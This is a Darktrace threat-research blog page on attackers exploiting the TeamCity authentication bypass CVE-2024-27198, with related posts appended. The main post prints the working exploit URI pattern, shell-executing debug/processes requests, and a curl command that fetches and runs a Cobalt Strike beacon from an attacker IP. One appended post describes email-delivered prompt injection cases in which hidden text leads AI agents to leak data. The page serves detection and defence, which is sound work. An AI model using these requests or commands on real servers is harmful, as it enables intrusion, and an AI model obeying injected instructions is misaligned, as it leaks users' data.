August 21, 2024

How Darktrace Detects TeamCity Exploitation Activity

Darktrace observed the rapid exploitation of a critical vulnerability in JetBrains TeamCity (CVE-2024-27198) shortly following its public disclosure. Learn how the need for speedy detection serves to protect against supply chain attacks.

Written by

Justin Frank

Product Manager and Cyber Analyst

Inside the SOC

Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.

Written by

Justin Frank

Product Manager and Cyber Analyst

Aug 2024

The rise in vulnerability exploitation

In recent years, threat actors have increasingly been observed exploiting endpoints and services associated with critical vulnerabilities almost immediately after those vulnerabilities are publicly disclosed. The time-to-exploit for internet-facing servers is accelerating as the risk of vulnerabilities in web components continuously grows. This growth demands faster detection and response from organizations and their security teams to ward off the rising number of exploitation attempts. One such case is that of CVE-2024-27198, a critical vulnerability in TeamCity On-Premises, a popular continuous integration and continuous delivery/deployment (CI/CD) solution for DevOps teams developed by JetBrains.

The disclosure of TeamCity vulnerabilities

On March 4, 2024, JetBrains published an advisory regarding two authentication bypass vulnerabilities, CVE-2024-27198 and CVE-2024-27199, affecting TeamCity On-Premises version 2023.11.3. and all earlier versions [1].

The most severe of the two vulnerabilities, CVE-2024-27198, would enable an attacker to take full control over all TeamCity projects and use their position as a suitable vector for a significant attack across the organization’s supply chain. The other vulnerability, CVE-2024-27199, was disclosed to be a path traversal bug that allows attackers to perform limited administrative actions. On the same day, several proof-of-exploits for CVE-2024-27198 were created and shared for public use; in effect, enabling anyone with the means and intent to validate whether a TeamCity device is affected by this vulnerability [2][3].

Using CVE-2024-27198, an attacker is able to successfully call an authenticated endpoint with no authentication, if they meet three requirements during an HTTP(S) request:

Request an unauthenticated resource that generates a 404 response.

/hax

Pass an HTTP query parameter named jsp containing the value of an authenticated URI path.

?jsp=/app/rest/server

Ensure the arbitrary URI path ends with .jsp by appending an HTTP path parameter segment.

;.jsp

Once combined, the URI path used by the attacker becomes:

/hax?jsp=/app/rest/server;.jsp

Over 30,000 organizations use TeamCity to automate and build testing and deployment processes for software projects. As various On-Premises servers are internet-facing, it became a short matter of time until exposed devices were faced with the inevitable rush of exploitation attempts. On March 7, the Cybersecurity and Infrastructure Security Agency (CISA) confirmed this by adding CVE-2024-27198 to its Known Exploited Catalog and noted that it was being actively used in ransomware campaigns. A shortened time-to-exploit has become fairly common for software known to be deeply embedded into an organization’s supply chain. Darktrace detected exploitation attempts of this vulnerability in the two days following JetBrains’ disclosure [4] [5].

Shortly after the disclosure of CVE-2024-27198, Darktrace observed malicious actors attempting to validate proof-of-exploits on a number of customer environments in the financial sector. After attackers validated the presence of the vulnerability on customer networks, Darktrace observed a series of suspicious activities including malicious file downloads, command-and-control (C2) connectivity and, in some cases, the delivery of cryptocurrency miners to TeamCity devices.

Fortunately, Darktrace was able to identify this malicious post-exploitation activity on compromised servers at the earliest possible stage, notifying affected customers and advising them to take urgent mitigative actions.

Attack details

Exploit Validation Activity

On March 6, just two days after the public disclosure of CVE-2024-27198, Darktrace first observed a customer being affected by the exploitation of the vulnerability when a TeamCity device received suspicious HTTP connections from the external endpoint, 83.97.20[.]141. This endpoint was later confirmed to be malicious and linked with the exploitation of TeamCity vulnerabilities by open-source intelligence (OSINT) sources [6]. The new user agent observed during these connections suggest they were performed using Python.

Figure 1: Advanced Search results shows the user agent (python-requests/2.25) performing initial stages of exploit validation for CVE-2024-27198.

The initial HTTP requests contained the following URIs:

/hax?jsp=/app/rest/server;[.]jsp

/hax?jsp=/app/rest/users;[.]jsp

These URIs match the exact criteria needed to exploit CVE-2024-27198 and initiate malicious unauthenicated requests. Darktrace / NETWORK recognized that these HTTP connections were suspicious, thus triggering the following models to alert:

Device / New User Agent
Anomalous Connection / New User Agent to IP Without Hostname

Establish C2

Around an hour later, Darktrace observed subsequent requests suggesting that the attacker began reconnaissance of the vulnerable device with the following URIs:

/app/rest/debug/processes?exePath=/bin/sh&params=-c&params=echo+ReadyGO

/app/rest/debug/processes?exePath=cmd.exe&params=/c&params=echo+ReadyGO

These URIs set an executable path to /bin/sh or cmd.exe; instructing the shell of either a Unix-like or Windows operating system to execute the command echo ReadyGO. This will display “ReadyGO” to the attacker and validate which operating system is being used by this TeamCity server.

The same vulnerable device was then seen downloading an executable file, “beacon.out”, from the aforementioned external endpoint via HTTP on port 81, using a new user agent curl/8.4.0.

Figure 2: Darktrace’s Cyber AI Analyst detecting suspicious download of an executable file.

Figure 3: Advanced Search overview of the URIs used in the HTTP requests.

Subsequently, the attacker was seen using the curl command on the vulnerable TeamCity device to perform the following call:

“/app/rest/debug/processes?exePath=cmd[.]exe&params=/c&params=curl+hxxp://83.97.20[.]141:81/beacon.out+-o+.conf+&&+chmod++x+.conf+&&+./.conf”.

in attempt to pass the following command to the device’s command line interpreter:

“curl http://83.97.20[.]141:81/beacon.out -o .conf && chmod +x .conf && ./.conf”

From here, the attacker attempted to fetch the contents of the “beacon.out” file and create a new executable file from its output. This was done by using the -o parameter to output the results of the “beacon.out” file into a “.conf” file. Then using chmod+x to modify the file access permissions and make this file an executable aswell, before running the newly created “.conf” file.

Further investigation into the “beacon.out” file uncovered that is uses the Cobalt Strike framework. Cobalt Strike would allow for the creation of beacon components that can be configured to use HTTP to reach a C2 host [7] [8].

Cryptocurrency Mining Activities

Interestingly, prior to the confirmed exploitation of CVE-2024-27198, Darktrace observed the same vulnerable device being targeted in an attempt to deploy cryptocurrency mining malware, using a variant of the open-source mining software, XMRig. Deploying crypto-miners on vulnerable internet-facing appliances is a common tactic by financially motivated attackers, as was seen with Ivanti appliances in January 2024 [9].

Figure 4: Darktrace’s Cyber AI Analyst detects suspicious C2 activity over HTTP.

On March 5, Darktrace observed the TeamCity device connecting to another to rare, external endpoint, 146.70.149[.]185, this time using a “Windows Installer” user agent: “146.70.149[.]185:81/JavaAccessBridge-64.msi”. Similar threat activity highlighted by security researchers in January 2024, pointed to the use of a XMRig installer masquerading as an official Java utlity: “JavaAccessBridge-64.msi”. [10]

Further investigation into the external endpoint and URL address structuring, uncovered additional URIs: one serving crypto-mining malware over port 58090 and the other a C2 panel hosted on the same endpoint: “146.70.149[.]185:58090/1.sh”.

Figure 5:Crypto mining malware served over port 58090 of the rare external endpoint.

146.70.149[.]185/uadmin/adm.php

Figure 6: C2 panel on same external endpoint.

Upon closer observation, the panel resembles that of the Phishing-as-a-Service (PhaaS) provided by the “V3Bphishing kit” – a sophisticated phishing kit used to target financial institutions and their customers [11].

Darktrace Coverage

Throughout the course of this incident, Darktrace’s Cyber AI Analyst™ was able to autonomously investigate the ongoing post-exploitation activity and connect the individual events, viewing the individual suspicious connections and downloads as part of a wider compromise incident, rather than isolated events.

Figure 7: Darktrace’s Cyber AI Analyst investigates suspicious download activity.

As this particular customer was subscribed to Darktrace’s Managed Threat Detection service at the time of the attack, their internal security team was immediately notified of the ongoing compromise, and the activity was raised to Darktrace’s Security Operations Center (SOC) for triage and investigation.

Unfortunately, Darktrace’s Autonomous Response capabilities were not configured to take action on the vulnerable TeamCity device, and the attack was able to escalate until Darktrace’s SOC brought it to the customer’s attention. Had Darktrace been enabled in Autonomous Response mode, it would have been able to quickly contain the attack from the initial beaconing connections through the network inhibitor ‘Block matching connections’. Some examples of autonomous response models that likely would have been triggered include:

Antigena Crypto Currency Mining Block - Network Inhibitor (Block matching connections)
Antigena Suspicious File Block - Network Inhibitor (Block matching connections)

Despite the lack of autonomous response, Darktrace’s Self-Learning AI was still able to detect and alert for the anomalous network activity being carried out by malicious actors who had successfully exploited CVE-2024-27198 in TeamCity On-Premises.

Conclusion

In the observed cases of the JetBrains TeamCity vulnerabilities being exploited across the Darktrace fleet, Darktrace was able to pre-emptively identify and, in some cases, contain network compromises from the onset, offering vital protection against a potentially disruptive supply chain attack.

While the exploitation activity observed by Darktrace confirms the pervasive use of public exploit code, an important takeaway is the time needed for threat actors to employ such exploits in their arsenal. It suggests that threat actors are speeding up augmentation to their tactics, techniques and procedures (TTPs), especially from the moment a critical vulnerability is publicly disclosed. In fact, external security researchers have shown that CVE-2024-27198 had seen exploitation attempts within 22 minutes of a public exploit code being released [12][13] [14].

While new vulnerabilities will inevitably surface and threat actors will continually look for novel or AI-augmented ways to evolve their methods, Darktrace’s AI-driven detection capabilities and behavioral analysis offers organizations full visibility over novel or unknown threats. Rather than relying on only existing threat intelligence, Darktrace is able to detect emerging activity based on anomaly and respond to it without latency, safeguarding customer environments whilst causing minimal disruption to business operations.

Credit to Justin Frank (Cyber Analyst & Newsroom Product Manager) and Daniela Alvarado (Senior Cyber Analyst)

Appendices

References

[1] https://blog.jetbrains.com/teamcity/2024/03/additional-critical-security-issues-affecting-teamcity-on-premises-cve-2024-27198-and-cve-2024-27199-update-to-2023-11-4-now/

[2] https://github.com/Chocapikk/CVE-2024-27198

[3] https://www.rapid7.com/blog/post/2024/03/04/etr-cve-2024-27198-and-cve-2024-27199-jetbrains-teamcity-multiple-authentication-bypass-vulnerabilities-fixed/

[4] https://www.darkreading.com/cyberattacks-data-breaches/jetbrains-teamcity-mass-exploitation-underway-rogue-accounts-thrive

[5] https://www.gartner.com/en/documents/5524495
[6]https://www.virustotal.com/gui/ip-address/83.97.20.141

[7] https://thehackernews.com/2024/03/teamcity-flaw-leads-to-surge-in.html

[8] https://www.cobaltstrike.com/product/features/beacon

[9] https://darktrace.com/blog/the-unknown-unknowns-post-exploitation-activities-of-ivanti-cs-ps-appliances

[10] https://www.trendmicro.com/en_us/research/24/c/teamcity-vulnerability-exploits-lead-to-jasmin-ransomware.html

[11] https://www.resecurity.com/blog/article/cybercriminals-attack-banking-customers-in-eu-with-v3b-phishing-kit

[12] https://www.ncsc.gov.uk/report/impact-of-ai-on-cyber-threat

[13] https://www2.deloitte.com/content/dam/Deloitte/us/Documents/risk/us-design-ai-threat-report-v2.pdf

[14] https://blog.cloudflare.com/application-security-report-2024-update

[15] https://www.virustotal.com/gui/file/1320e6dd39d9fdb901ae64713594b1153ee6244daa84c2336cf75a2a0b726b3c

‍Darktrace Model Detections

Device / New User Agent

Anomalous Connection / New User Agent to IP Without Hostname

Anomalous Connection / Callback on Web Facing Device

Anomalous Connection / Application Protocol on Uncommon Port

Anomalous File / EXE from Rare External Location

Anomalous File / Internet Facing System File Download

Anomalous Server Activity / New User Agent from Internet Facing System

Device / Initial Breach Chain Compromise

Device / Internet Facing Device with High Priority Alert

Indicators of Compromise (IoC)

IoC - Type – Description

/hax?jsp=/app/rest/server;[.]jsp - URI

/app/rest/debug/processes?exePath=/bin/sh&params=-c&params=echo+ReadyGO - URI

/app/rest/debug/processes?exePath=cmd.exe&params=/c&params=echo+ReadyGO – URI -

db6bd96b152314db3c430df41b83fcf2e5712281 - SHA1 – Malicious file

/beacon.out - URI -

/JavaAccessBridge-64.msi - MSI Installer

/app/rest/debug/processes?exePath=cmd[.]exe&params=/c&params=curl+hxxp://83.97.20[.]141:81/beacon.out+-o+.conf+&&+chmod++x+.conf+&&+./.con - URI

146.70.149[.]185:81 - IP – Malicious Endpoint

83.97.20[.]141:81 - IP – Malicious Endpoint

MITRE ATT&CK Mapping

Initial Access - Exploit Public-Facing Application - T1190

Execution - PowerShell - T1059.001

Command and Control - Ingress Tool Transfer - T1105

Resource Development - Obtain Capabilities - T1588

Execution - Vulnerabilities - T1588.006

Written by

Justin Frank

Product Manager and Cyber Analyst

Inside the SOC

Written by

Justin Frank

Product Manager and Cyber Analyst

Malware Research Engineer

•

May 1, 2026

Kiri Addison

Senior Director of Product

Watch the NIS2 Webinar

Blog

Email

May 1, 2026

How email-delivered prompt injection attacks can target enterprise AI – and why it matters

What are email-delivered prompt injection attacks?

As organizations rapidly adopt AI assistants to improve productivity, a new class of cyber risk is emerging alongside them: email-delivered AI prompt injection. Unlike traditional attacks that target software vulnerabilities or rely on social engineering, this is the act of embedding malicious or manipulative instructions into content that an AI system will process as part of its normal workflow. Because modern AI tools are designed to ingest and reason over large volumes of data, including emails, documents, and chat histories, they can unintentionally treat hidden attacker-controlled text as legitimate input.

At Darktrace, our analysis has shown an increase of 90% in the number of customer deployments showing signals associated with potential prompt injection attempts since we began monitoring for this type of activity in late 2025. While it is not always possible to definitively attribute each instance, internal scoring systems designed to identify characteristics consistent with prompt injection have recorded a growing number of high-confidence matches. The upward trend suggests that attackers are actively experimenting with these techniques.

Recent examples of prompt injection attacks

Two early examples of this evolving threat are HashJack and ShadowLeak, which illustrate prompt injection in practice.

HashJack is a novel prompt injection technique discovered in November 2025 that exploits AI-powered web browsers and agentic AI browser assistants. By hiding malicious instructions within the URL fragment (after the # symbol) of a legitimate, trusted website, attackers can trick AI web assistants into performing malicious actions – potentially inserting phishing links, fake contact details, or misleading guidance directly into what appears to be a trusted AI-generated output.

ShadowLeak is a prompt injection method to exfiltrate PII identified in September 2025. This was a flaw in ChatGPT (now patched by OpenAI) which worked via an agent connected to email. If attackers sent the target an email containing a hidden prompt, the agent was tricked into leaking sensitive information to the attacker with no user action or visible UI.

What’s the risk of email-delivered prompt injection attacks?

Enterprise AI assistants often have complete visibility across emails, documents, and internal platforms. This means an attacker does not need to compromise credentials or move laterally through an environment. If successful, they can influence the AI to retrieve relevant information seamlessly, without the labor of compromise and privilege escalation.

The first risk is data exfiltration. In a prompt injection scenario, malicious instructions may be embedded within an ordinary email. As in the ShadowLeak attack, when AI processes that content as part of a legitimate task, it may interpret the hidden text as an instruction. This could result in the AI disclosing sensitive data, summarizing confidential communications, or exposing internal context that would otherwise require significant effort to obtain.

The second risk is agentic workflow poisoning. As AI systems take on more active roles, prompt injection can influence how they behave over time. An attacker could embed instructions that persist across interactions, such as causing the AI to include malicious links in responses or redirect users to untrusted resources. In this way, the attacker inserts themselves into the workflow, effectively acting as a man-in-the-middle within the AI system.

Why can’t other solutions catch email-delivered prompt injection attacks?

AI prompt injection challenges many of the assumptions that traditional email security is built on. It does not fit the usual patterns of phishing, where the goal is to trick a user into clicking a link or opening an attachment.

Most security solutions are designed to detect signals associated with user engagement: suspicious links, unusual attachments, or social engineering cues. Prompt injection avoids these indicators entirely, meaning there are fewer obvious red flags.

In this case, the intention is actually the opposite of user solicitation. The objective is simply for the email to be delivered and remain in the inbox, appearing benign and unremarkable. The malicious element is not something the recipient is expected to engage with, or even notice.

Detection is further complicated by the nature of the prompts themselves. Unlike known malware signatures or consistent phishing patterns, injected prompts can vary widely in structure and wording. This makes simple pattern-matching approaches, such as regex, unreliable. A broad rule set risks generating large numbers of false positives, while a narrow one is unlikely to capture the diversity of possible injections.

How does Darktrace catch these types of attacks?

The Darktrace approach to email security more generally is to look beyond individual indicators and assess context, which also applies here.

For example, our prompt density score identifies clusters of prompt-like language within an email rather than just single occurrences. Instead of treating the presence of a phrase as a blocking signal, the focus is on whether there is an unusual concentration of these patterns in a way that suggests injection. Additional weighting can be applied where there are signs of obfuscation. For example, text that is hidden from the user – such as white font or font size zero – but still readable by AI systems can indicate an attempt to conceal malicious prompts.

This is combined with broader behavioral signals. The same communication context used to detect other threats remains relevant, such as whether the content is unusual for the recipient or deviates from normal patterns.

Ask your email provider about email-delivered AI prompt injection

Prompt injection targets not just employees, but the AI systems they rely on, so security approaches need to account for both.

Though there are clear indications of emerging activity, it remains to be seen how popular prompt injection will be with attackers going forward. Still, considering the potential impact of this attack type, it’s worth checking if this risk has been considered by your email security provider.

Questions to ask your email security provider

What safeguards are in place to prevent emails from influencing AI‑driven workflows over time?
How do you assess email content that’s benign for a human reader, but may carry hidden instructions intended for AI systems?
If an email contains no links, no attachments, and no social engineering cues, what signals would your platform use to identify malicious intent?

‍

Visit the Darktrace / EMAIL product hub to discover how we detect and respond to advanced communication threats.

Learn more about securing AI in your enterprise.

About the author

Kiri Addison

Senior Director of Product

Blog

AI

April 30, 2026

Mythos vs Ethos: Defending in an Era of AI‑Accelerated Vulnerability Discovery

Anthropic’s Mythos and what it means for security teams

Recent attention on systems such as Anthropic Mythos highlights a notable problem for defenders. Namely that disclosure’s role in coordinating defensive action is eroding.

As AI systems gain stronger reasoning and coding capability, their usefulness in analyzing complex software environments and identifying weaknesses naturally increases. What has changed is not attacker motivation, but the conditions under which defenders learn about and organize around risk. Vulnerability discovery and exploitation increasingly unfold in ways that turn disclosure into a retrospective signal rather than a reliable starting point for defense.

Faster discovery was inevitable and is already visible

The acceleration of vulnerability discovery was already observable across the ecosystem. Publicly disclosed vulnerabilities (CVEs) have grown at double-digit rates for the past two years, including a 32% increase in 2024 according to NIST, driven in part by AI even prior to Anthropic’s Mythos model. Most notably XBOW topped the HackerOne US bug bounty leaderboard, marking the first time an autonomous penetration tester had done so.

The technical frontier for AI capabilities has been described elsewhere as jagged, and the implication is that Mythos is exceptional but not unique in this capability. While Mythos appears to make significant progress in complex vulnerability analysis, many other models are already able to find and exploit weaknesses to varying degrees.

What matters here is not which model performs best, but the fact that vulnerability discovery is no longer a scarce or tightly bounded capability.

The consequence of this shift is not simply earlier discovery. It is a change in the defender-attacker race condition. Disclosure once acted as a rough synchronization point. While attackers sometimes had earlier knowledge, disclosure generally marked the moment when risk became visible and defensive action could be broadly coordinated. Increasingly, that coordination will no longer exist. Exploitation may be underway well before a CVE is published, if it is published at all.

Why patch velocity alone is not the answer

The instinctive response to this shift is to focus on patching faster, but treating patch velocity as the primary solution misunderstands the problem. Most organizations are already constrained in how quickly they can remediate vulnerabilities. Asset sprawl, operational risk, testing requirements, uptime commitments, and unclear ownership all limit response speed, even when vulnerabilities are well understood.

If discovery and exploitation now routinely precede disclosure, then patching cannot be the first line of defense. It becomes one necessary control applied within a timeline that has already shifted. This does not imply that organizations should patch less. It means that patching cannot serve as the organizing principle for defense.

Defense needs a more stable anchor

If disclosure no longer defines when defense begins, then defense needs a reference point that does not depend on knowing the vulnerability in advance.

Every digital environment has a behavioral character. Systems authenticate, communicate, execute processes, and access resources in relatively consistent ways over time. These patterns are not static rules or signatures. They are learned behaviors that reflect how an organization operates.

When exploitation occurs, even via previously unknown vulnerabilities, those behavioral patterns change.

Attackers may use novel techniques, but they still need to gain access, create processes, move laterally, and will ultimately interact with systems in ways that diverge from what is expected. That deviation is observable regardless of whether the underlying weakness has been formally named.

In an environment where disclosure can no longer be relied on for timing or coordination, behavioral understanding is no longer an optional enhancement; it becomes the only consistently available defensive signal.

Detecting risk before disclosure

Darktrace’s threat research has consistently shown that malicious activity often becomes visible before public disclosure.

In multiple cases, including exploitation of Ivanti, SAP NetWeaver, and Trimble Cityworks, Darktrace detected anomalous behavior days or weeks ahead of CVE publication. These detections did not rely on signatures, threat intelligence feeds, or awareness of the vulnerability itself. They emerged because systems began behaving in ways that did not align with their established patterns.

This reflects a defensive approach grounded in ‘Ethos’, in contrast to the unbounded exploration represented by ‘Mythos’. Here, Mythos describes continuous vulnerability discovery at speed and scale. Ethos reflects an understanding of what is normal and expected within a specific environment, grounded in observed behavior.

Revisiting assume breach

These conditions reinforce a principle long embedded in Zero Trust thinking: assume breach.

If exploitation can occur before disclosure, patching vulnerabilities can no longer act as the organizing principle for defense. Instead, effective defense must focus on monitoring for misuse and constraining attacker activity once access is achieved. Behavioral monitoring allows organizations to identify early‑stage compromise and respond while uncertainty remains, rather than waiting for formal verification.

AI plays a critical role here, not by predicting every exploit, but by continuously learning what normal looks like within a specific environment and identifying meaningful deviation at machine speed. Identifying that deviation enables defenders to respond by constraining activity back towards normal patterns of behavior.

Not an arms race, but an asymmetry

AI is often framed as fueling an arms race between attackers and defenders. In practice, the more important dynamic is asymmetry.

Attackers operate broadly, scanning many environments for opportunities. Defenders operate deeply within their own systems, and it’s this business context which is so significant. Behavioral understanding gives defenders a durable advantage. Attackers may automate discovery, but they cannot easily reproduce what belonging looks like inside a particular organization.

A changed defensive model

AI‑accelerated vulnerability discovery does not mean defenders have lost. It does mean that disclosure‑driven, patch‑centric models no longer provide a sufficient foundation for resilience.

As vulnerability volumes grow and exploitation timelines compress, effective defense increasingly depends on continuous behavioral understanding, detection that does not rely on prior disclosure, and rapid containment to limit impact. In this model, CVEs confirm risk rather than define when defense begins.

The industry has already seen this approach work in practice. As AI continues to reshape both offense and defense, behavioral detection will move from being complementary to being essential.

About the author

Andrew Hollister

Principal Solutions Engineer, Cyber Technician

Your data. Our AI.

Elevate your network security with Darktrace AI

Get a demo

Check out this article by Darktrace: How Darktrace Detects TeamCity Exploitation Activity

How Darktrace Detects TeamCity Exploitation Activity

The rise in vulnerability exploitation

The disclosure of TeamCity vulnerabilities

Attack details

Exploit Validation Activity

Establish C2

Cryptocurrency Mining Activities

Darktrace Coverage

Conclusion

Appendices

References

‍Darktrace Model Detections

Indicators of Compromise (IoC)

MITRE ATT&CK Mapping

Darktrace Malware Analysis: Jenkins Honeypot Reveals Emerging Botnet Targeting Online Games

How email-delivered prompt injection attacks can target enterprise AI – and why it matters

Enjoying the blog?

More in this series

Darktrace Malware Analysis: Jenkins Honeypot Reveals Emerging Botnet Targeting Online Games

How a Compromised eScan Update Enabled Multi‑Stage Malware and Blockchain C2

How Chinese-Nexus Cyber Operations Have Evolved – And What It Means For Cyber Risk and Resilience

Blog

Email

May 1, 2026

How email-delivered prompt injection attacks can target enterprise AI – and why it matters

What are email-delivered prompt injection attacks?

Recent examples of prompt injection attacks

What’s the risk of email-delivered prompt injection attacks?

Why can’t other solutions catch email-delivered prompt injection attacks?

How does Darktrace catch these types of attacks?

Ask your email provider about email-delivered AI prompt injection

Questions to ask your email security provider

Blog

AI

April 30, 2026

Mythos vs Ethos: Defending in an Era of AI‑Accelerated Vulnerability Discovery

Anthropic’s Mythos and what it means for security teams

Faster discovery was inevitable and is already visible

Why patch velocity alone is not the answer

Defense needs a more stable anchor

Detecting risk before disclosure

Revisiting assume breach

Not an arms race, but an asymmetry

A changed defensive model